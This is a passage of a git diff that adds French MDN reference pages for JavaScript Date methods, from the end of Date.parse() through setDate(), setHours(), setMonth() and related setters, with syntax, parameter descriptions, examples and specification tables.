L'implémentation spécifique de SpiderMonkey peut être trouvée dans le fichier jsdate.cpp. La chaîne "10 06 2014" est un exemple de chaîne non ISO, utiliser parse() sur cette chaîne entraînera le moteur JavaScript à utiliser son implémentation de recours. Voir ce bug pour une explication rapide de la façon dont est faite l'analyse de la chaîne.

+ +
new Date('10 06 2014');
+ +

sera traitée comme la date locale du 6 octobre 2014 et non comme le 10 juin 2014. D'autres exemples :

+ +
new Date('toto-truc 2014').toString();
+// renvoie : "Invalid Date"
+Date.parse('toto-truc 2014');
+// renvoie : NaN
+ +

Exemples

+ +

Utiliser Date.parse()

+ +

Les appels suivants renvoient tous 1546300800000. Dans le premier appel, on indique uniquement la date (et donc le fuseau UTC implicite). Les chaînes qui suivent utilisent une indication de fuseau horaire selon la norme ISO (Z et +00:00)

+ +
Date.parse("2019-01-01")
+Date.parse("2019-01-01T00:00:00.000Z")
+Date.parse("2019-01-01T00:00:00.000+00:00")
+
+ +

L'appel suivant, qui ne précise pas le fuseau horaire, fournira le nombre de millisecondes écoulées entre le premier janvier 1970 minuit UTC et le premier janvier 2019 à minuit selon l'heure locale du système utilisé.

+ +
Date.parse("2019-01-01T00:00:00")
+
+ +

Chaînes de caractères non-standard

+ +
+

Note : Cette section contient des exemples qui reposent sur des comportements spécifiques aux implémentations et on peut donc avoir des incohérences entre les moteurs utilisés.

+
+ +

Si IPOdate est un objet {{jsxref("Date")}}, on peut définir sa valeur au 9 août 1995 (heure locale), de la façon suivante :

+ +
IPOdate.setTime(Date.parse('Aug 9, 1995'));
+
+ +

Voici un autre exemple avec une chaîne qui ne suit pas le format standard.

+ +
Date.parse('Aug 9, 1995');
+
+ +

Cette méthode renverra 807937200000 pour le fuseau horaire GMT-0300 et d'autres valeurs pour d'autres fuseaux car la chaîne n'indique pas le fuseau horaire et ne respecte pas le format ISO (le fuseau considéré par défaut est donc le fuseau local).

+ +
Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');
+
+ +

Renvoie 807926400000 quel que soit le fuseau local car on indique GMT.

+ +
Date.parse('Wed, 09 Aug 1995 00:00:00');
+
+ +

Renvoie 807937200000 dans le fuseau GMT-0300 et d'autres valeurs pour d'autres fuseaux car aucune indication de fuseau n'est fournie et que la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.

+ +
Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');
+
+ +

Renvoie 0 quel que soit le fuseau local car l'indicateur GMT est fourni.

+ +
Date.parse('Thu, 01 Jan 1970 00:00:00');
+
+ +

Renvoie 14400000 pour le fuseau GMT-0400 et d'autres valeurs dans d'autres fuseaux car aucune indication de fuseau n'est fournie et la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.

+ +
Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');
+
+ +

Renvoie 14400000 quel que soit le fuseau car l'indicateur GMT est fourni.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}{{Spec2('ES5.1')}}Ajout du format ISO 8601 simplifié.
{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.parse', 'Date.parse')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.parse")}}

+ +

Notes de compatibilité

+ +
    +
  • À partir de Firefox 49 ({{geckoRelease(49)}}, l'interprétation des années exprimées sur deux chiffres est alignée avec Google Chrome (et non plus avec Internet Explorer). Désormais, les années exprimées sur deux chiffres et strictement inférieures à 50 seront considérées comme des années du XXIe siècle. Ainsi, 04/16/17 correspondait avant au 16 avril 1917 et correspond désormais au 16 avril 2017. Cela évite des problèmes d'interopérabilité et d'ambiguïté et cette méthode est recommandée par le format ISO 8601 (cf. {{bug(1265136)}}).
    • +
  • Google Chrome acceptera une chaîne de caractères avec un nombre pour le paramètre dateString. Ainsi, si on exécute !!Date.parse("42") dans Firefox, on obtiendra false tandis que que Google Chrome donnera true car "42" sera interprété comme la date du premier janvier 2042.
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.UTC()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setdate/index.html b/files/fr/web/javascript/reference/global_objects/date/setdate/index.html new file mode 100644 index 0000000000..ee3c090a6d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setdate/index.html @@ -0,0 +1,98 @@ +--- +title: Date.prototype.setDate() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setDate +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setDate +--- +
{{JSRef}}
+ +

La méthode setDate() définit le jour du mois (relatif au début du mois courant) pour une date donnée.

+ +
{{EmbedInteractiveExample("pages/js/date-setdate.html")}}
+ + + +

Syntaxe

+ +
dateObj.setDate(valeurJour)
+ +

Paramètres

+ +
+
valeurJour
+
Un entier représentant le jour du mois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 00:00:00 UTC et la date résultante (l'objet {{jsxref("Date")}} est également modifié).

+ +

Description

+ +

Si la valeurJour est en dehors des limites du mois courant, setDate() mettra à jour l'objet {{jsxref("Date")}} en conséquence.

+ +

Par exemple, si 0 est fourni pour valeurJour, la date sera défini sur le dernier jour du mois précédent.

+ +

Si on fournit un nombre négatif, la date sera déterminée à rebours à partir du dernier jour du mois précédent. Ainsi, avec -1, on obtiendrait la veille du dernier jour du mois précédent.

+ +

Exemples

+ +

Utiliser setDate()

+ +
var theBigDay = new Date(1962, 6, 7); // 1962-07-06T23:00:00.000Z
+theBigDay.setDate(24);   // 1962-07-23T23:00:00.000Z
+theBigDay.setDate(32);   // 1962-07-31T23:00:00.000Z
+theBigDay.setDate(22);   // 1962-08-21T23:00:00.000Z
+theBigDay.setDate(0);    // 1962-07-30T23:00:00.000Z
+theBigDay.setDate(98);   // 1962-10-05T23:00:00.000Z
+theBigDay.setDate(-50);  // 1962-08-10T23:00:00.000Z
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.36', 'Date.prototype.setDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setdate', 'Date.prototype.setDate')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setDate")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getDate()")}}
    • +
  • {{jsxref("Date.prototype.setUTCDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.html b/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.html new file mode 100644 index 0000000000..ffc97b61d0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setfullyear/index.html @@ -0,0 +1,97 @@ +--- +title: Date.prototype.setFullYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setFullYear +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setFullYear +--- +
{{JSRef}}
+ +

La méthode setFullYear() définit l'année complête pour une date, d'après l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-setfullyear.html")}}
+ + + +

Syntaxe

+ +
dateObj.setFullYear(valeurAnnée[, valeurMois[, valeurJour]])
+ +

Paramètres

+ +
+
valeurAnnée
+
Un entier indiquant la valeur numérique de l'année, par exemple, 1995.
+
valeurMois
+
Paramètre optionnel qui représente un entier entre 0 et 11, représentant les mois de janvier à décembre.
+
valeurJour
+
Paramètre optionnel qui représente un entier entre 1 et 31 représentant le jour du mois. Si vous indiquez une valeurJour, vous devez aussi indiquer valeurMois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date mise à jour.

+ +

Description

+ +

Si vous n'indiquez pas les paramètres valeurMois et valeurJour. Les valeurs renvoyées par les méthodes {{jsxref("Date.prototype.getMonth()", "getMonth()")}} et {{jsxref("Date.prototype.getDate()", "getDate()")}} seront utilisées.

+ +

Si un des paramètres que vous indiquez est en dehors des limites attendues, setFullYear() tentera de mettre à jour la date en conséquence. Pa exemple, si vous indiquez 15 pour valeurMois, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.

+ +

Exemples

+ +

Utiliser setFullYear()

+ +
var leGrandJour = new Date();
+leGrandJour.setFullYear(1997);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.40', 'Date.prototype.setFullYear')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setfullyear', 'Date.prototype.setFullYear')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setFullYear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setUTCFullYear()")}}
    • +
  • {{jsxref("Date.prototype.setYear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/sethours/index.html b/files/fr/web/javascript/reference/global_objects/date/sethours/index.html new file mode 100644 index 0000000000..fba8af3e49 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/sethours/index.html @@ -0,0 +1,103 @@ +--- +title: Date.prototype.setHours() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setHours +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setHours +--- +
{{JSRef}}
+ +

La méthode setHours() définit les heures pour une date donnée, selon l'heure locale, et renvoie le nombre de millièmes de secondes écoulées entre le 1er janvier 1970 00:00:00 UTC et la nouvelle date mise à jour.

+ +
{{EmbedInteractiveExample("pages/js/date-sethours.html")}}
+ + + +

Syntaxe

+ +
dateObj.setHours(valeurHeures[, valeurMinutes[, valeurSecondes[, valeurMs]]])
+
+ +

Versions antérieures à JavaScript 1.3

+ +
dateObj.setHours(valeurHeures)
+ +

Paramètres

+ +
+
valeurHeures
+
Un entier normalement compris entre 0 et 23, représentant l'heure. Si la valeur est supérieure à 23, la valeur de l'heure sera incrémentée d'autant d'heures supplémentaires.
+
valeurMinutes
+
Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les minutes. Si la valeur est supérieure à 59, la valeur de l'heure sera incrémentée d'autant de minutes supplémentaires.
+
valeurSecondes
+
Paramètre optionnel, un entier normalement compris entre 0 et 59, représentant les secondes. Si vous indiquez le paramètre valeurSecondes, vous devez aussi renseigner valeurMinutes. Si la valeur est supérieure à 59, l'heure sera incrémentée d'autant de secondes supplémentaires.
+
valeurMs
+
Paramètre optionnel, un entier normalement compris entre 0 et 999, représentant les millièmes de secondes. Si vous indiquez valeurMs, vous devez aussi renseigner valeurMinutes et valeurSecondes. Si la valeur fournie est supérieure à 999, l'heure sera incrémentée d'autant de millisecondes supplémentaires.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si vous ne renseignez pas valeurMinutes, valeurSecondes et valeurMs, les valeurs renvoyées par les méthodes {{jsxref("Date.getMinutes", "getMinutes()")}}, {{jsxref("Date.getSeconds", "getSeconds()")}}, et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.

+ +

Si un des paramètres que vous renseignez est en dehors des limites attendues, setHours() tentera de mettre à jour la date en conséquence. Par exemple, si vous utilisez 100 pour valeurSecondes, les minutes seront incrémentées de 1 (min + 1), et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setHours()

+ +
var leGrandJour = new Date();
+leGrandJour.setHours(7);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0
{{SpecName('ES5.1', '#sec-15.9.5.34', 'Date.prototype.setHours')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.sethours', 'Date.prototype.setHours')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setHours")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getHours()")}}
    • +
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.html new file mode 100644 index 0000000000..d043689b4b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setmilliseconds/index.html @@ -0,0 +1,90 @@ +--- +title: Date.prototype.setMilliseconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setMilliseconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds +--- +
{{JSRef}}
+ +

La méthode setMilliseconds() définit les millièmes de secondes pour la date, selon l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-setmilliseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.setMilliseconds(valeurMs)
+ +

Paramètres

+ +
+
valeurMs
+
Un entier entre 0 et 999, représentant les millièmes de secondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si vous indiquez un nombre en dehors des limites attendues, la date sera mise à jour en conséquence. Par exemple, si vous indiquez 1005, le nombre des secondes sera incrémenté de 1, et 5 sera utilisé pour les millièmes de secondes.

+ +

Exemples

+ +

Utiliser setMilliseconds()

+ +
var leGrandJour = new Date();
+leGrandJour.setMilliseconds(100);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.28', 'Date.prototype.setMilliseconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setmilliseconds', 'Date.prototype.setMilliseconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setMilliseconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMilliseconds()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMilliseconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setminutes/index.html b/files/fr/web/javascript/reference/global_objects/date/setminutes/index.html new file mode 100644 index 0000000000..ac856d4a5e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setminutes/index.html @@ -0,0 +1,106 @@ +--- +title: Date.prototype.setMinutes() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setMinutes +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes +--- +
{{JSRef}}
+ +

La méthode setMinutes() définit les minutes pour la date donnée, selon l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-setminutes.html")}}
+ + + +

Syntaxe

+ +
dateObj.setMinutes(valeurMinutes[, valeurSecondes[, valeurMs]])
+ +

Versions antérieures à JavaScript 1.3

+ +
dateObj.setMinutes(valeurMinutes)
+ +

Paramètres

+ +
+
valeurMinutes
+
Un entier entre 0 et 59, représentant les minutes.
+
+ +
+
valeurSecondes
+
Paramètre optionnel, un entier entre 0 et 59, représentant les secondes. Si valeurSecondes est utilisé, il faut également utiliser valeurMinutes.
+
+ +
+
valeurMs
+
Paramètre optionel, un nombre entre 0 et 999, représentant les millièmes de secondes. Si valeurMs est utilisé, il faut également utiliser valeurMinutes et valeurSecondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si valeurSecondes et valeurMs ne sont pas indiquées, les valeurs renvoyées par les méthodes {{jsxref("Date.getSeconds", "getSeconds()")}} et {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} seront utilisées.

+ +

Si un paramètre est en dehors des limites attendues, setMinutes() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes (valeurMinutes) seront incrémentées de 1 (valeurMinutes + 1), et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setMinutes()

+ +
var leGrandJour = new Date();
+leGrandJour.setMinutes(45);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.32', 'Date.prototype.setMinutes')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setminutes', 'Date.prototype.setMinutes')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setMinutes")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMinutes()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMinutes()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setmonth/index.html b/files/fr/web/javascript/reference/global_objects/date/setmonth/index.html new file mode 100644 index 0000000000..7b93420bfd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setmonth/index.html @@ -0,0 +1,110 @@ +--- +title: Date.prototype.setMonth() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setMonth +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMonth +--- +
{{JSRef}}
+ +

La méthode setMonth() définit le mois de la date, selon l'heure locale et l'année courante de l'objet {{jsxref("Date")}}

+ +
{{EmbedInteractiveExample("pages/js/date-setmonth.html")}}
+ + + +

Syntaxe

+ +
dateObj.setMonth(valeurMois[, valeurJour])
+ +

Versions antérieures à JavaScript 1.3

+ +
dateObj.setMonth(valeurMois)
+ +

Paramètres

+ +
+
valeurMois
+
Un entier entre 0 et 11 (représentant les mois de janvier à décembre).
+
+ +
+
valeurJour
+
Paramètre optionnel, un entier entre 1 et 31, représentant le jour du mois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre valeurJour n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getDate", "getDate()")}} sera utilisée.

+ +

Si un paramètre que vous renseignez n'est pas dans les limites attendues, setMonth() tentera de mettre à jour la date en conséquence. Par exemple, si la valeur 15 est utilisée pour valeurMois, l'année sera incrémenté de 1 (année + 1), et 3 sera utilisé pour le mois.

+ +
+

Note : Attention aux jours du mois lorsqu'on utilise setMonth(). En effet, setMonth() cherchera à aboutir à une date correcte et on peut avoir des surprises pour les transitions entre les mois. Ainsi, en 2016 (où février a eu 29 jours), on aura le cas suivant :

+ +
var finDuMois = new Date(2016, 7, 31); // le 31 août 2016
+finDuMois.setMonth(1);
+
+console.log(finDuMois.toLocaleString()); // 02/03/2016 à 00:00:00
+
+ +

Exemples

+ +

Utiliser setMonth()

+ +
var leGrandJour = new Date();
+leGrandJour.setMonth(6);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.38', 'Date.prototype.setMonth')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setmonth', 'Date.prototype.setMonth')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setMonth")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getMonth()")}}
    • +
  • {{jsxref("Date.prototype.setUTCMonth()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setseconds/index.html b/files/fr/web/javascript/reference/global_objects/date/setseconds/index.html new file mode 100644 index 0000000000..a9884c31d7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setseconds/index.html @@ -0,0 +1,98 @@ +--- +title: Date.prototype.setSeconds() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setSeconds +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setSeconds +--- +
{{JSRef}}
+ +

La méthode setSeconds() définit les secondes pour la date, selon l'heure locale.

+ +
{{EmbedInteractiveExample("pages/js/date-setseconds.html")}}
+ + + +

Syntaxe

+ +
dateObj.setSeconds(valeurSecondes[, valeurMs])
+ +

Versions antérieures à JavaScript 1.3

+ +
dateObj.setSeconds(valeurSecondes)
+ +

Paramètres

+ +
+
valeurSecondes
+
Un entier entre 0 et 59.
+
valeurMs
+
Paramètre optionnel, un nombre entre 0 et 999, représentant les millièmes de secondes.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre valeurMs n'est pas utilisé, la valeur renvoyée par la méthode {{jsxref("Date.getMilliseconds", "getMilliseconds()")}} sera utilisée.

+ +

Si un paramètre utilisé est en dehors des limites attendues, setSeconds() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 100 pour valeurSecondes, les minutes de la date seront incrémentées de 1, et 40 sera utilisé pour les secondes.

+ +

Exemples

+ +

Utiliser setSeconds()

+ +
var leGrandJour = new Date();
+leGrandJour.setSeconds(30)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.30', 'Date.prototype.setSeconds')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setseconds', 'Date.prototype.setSeconds')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setSeconds")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getSeconds()")}}
    • +
  • {{jsxref("Date.prototype.setUTCSeconds()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/settime/index.html b/files/fr/web/javascript/reference/global_objects/date/settime/index.html new file mode 100644 index 0000000000..fa914face8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/settime/index.html @@ -0,0 +1,91 @@ +--- +title: Date.prototype.setTime() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setTime +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setTime +--- +
{{JSRef}}
+ +

La méthode setTime() met l'objet {{jsxref("Date")}} à jour par rapport au nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-settime.html")}}
+ + + +

Syntaxe

+ +
dateObj.setTime(valeurTemps)
+ +

Paramètres

+ +
+
valeurTemps
+
Un entier représentant le nombre de millisecondes depuis le 1 janvier 1970, 00:00:00 UTC.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 à minuit, UTC et la date mise à jour (ce qui correspond à la valeur de l'argument).

+ +

Description

+ +

La méthode setTime() est utilisée afin d'assigner une date à un autre objet {{jsxref("Date")}}.

+ +

Exemples

+ +

Utiliser setTime()

+ +
var leGrandJour = new Date("July 1, 1999");
+var pareilQueGrandJour = new Date();
+pareilQueGrandJour.setTime(leGrandJour.getTime());
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.5.27', 'Date.prototype.setTime')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.settime', 'Date.prototype.setTime')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setTime")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getTime()")}}
    • +
  • {{jsxref("Date.prototype.setUTCHours()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.html new file mode 100644 index 0000000000..cbf11c69c1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcdate/index.html @@ -0,0 +1,90 @@ +--- +title: Date.prototype.setUTCDate() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCDate +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCDate +--- +
{{JSRef}}
+ +

La méthode setUTCDate() définit le jour du mois pour la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcdate.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCDate(valeurJour)
+ +

Paramètres

+ +
+
valeurJour
+
Un entier de 1 à 31, représentant un jour dans le mois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

Si le paramètre renseigné est en dehors des limites attendues, setUTCDate() tentera de mettre à jour la date en conséquence. Par exemple, si on utilise la valeur 40 pour valeurJour, et que le mois de la date est juin, le jour sera changé en 10 et le mois passera à juillet.

+ +

Exemples

+ +

Utiliser setUTCDate()

+ +
var leGrandJour = new Date();
+leGrandJour.setUTCDate(20);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3.
{{SpecName('ES5.1', '#sec-15.9.5.37', 'Date.prototype.setUTCDate')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.prototype.setutcdate', 'Date.prototype.setUTCDate')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Date.setUTCDate")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Date.prototype.getUTCDate()")}}
    • +
  • {{jsxref("Date.prototype.setDate()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.html b/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.html new file mode 100644 index 0000000000..771dff1935 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/date/setutcfullyear/index.html @@ -0,0 +1,96 @@ +--- +title: Date.prototype.setUTCFullYear() +slug: Web/JavaScript/Reference/Objets_globaux/Date/setUTCFullYear +tags: + - Date + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear +--- +
{{JSRef}}
+ +

La méthode setUTCFullYear() définit l'année complête pour la date, selon UTC.

+ +
{{EmbedInteractiveExample("pages/js/date-setutcfullyear.html")}}
+ + + +

Syntaxe

+ +
dateObj.setUTCFullYear(valeurAnnée[, valeurMois[, valeurJour]])
+ +

Paramètres

+ +
+
valeurAnnée
+
Un entier indiquant la valeur numérique d'une année, par exemple, 1995.
+
valeurMois
+
Paramètre optionnel, un entier entre 0 et 11 représentant les mois de janvier à décembre.
+
valeurJour
+
Paramètre optionnel, un entier entre 1 et 31 représentant le jour du mois. Si le paramètre valeurJour est utilisé, il est également nécessaire d'indiquer valeurMois.
+
+ +

Valeur de retour

+ +

Le nombre de millisecondes écoulées entre le premier janvier 1970 minuit, UTC et la date mise à jour.

+ +

Description

+ +

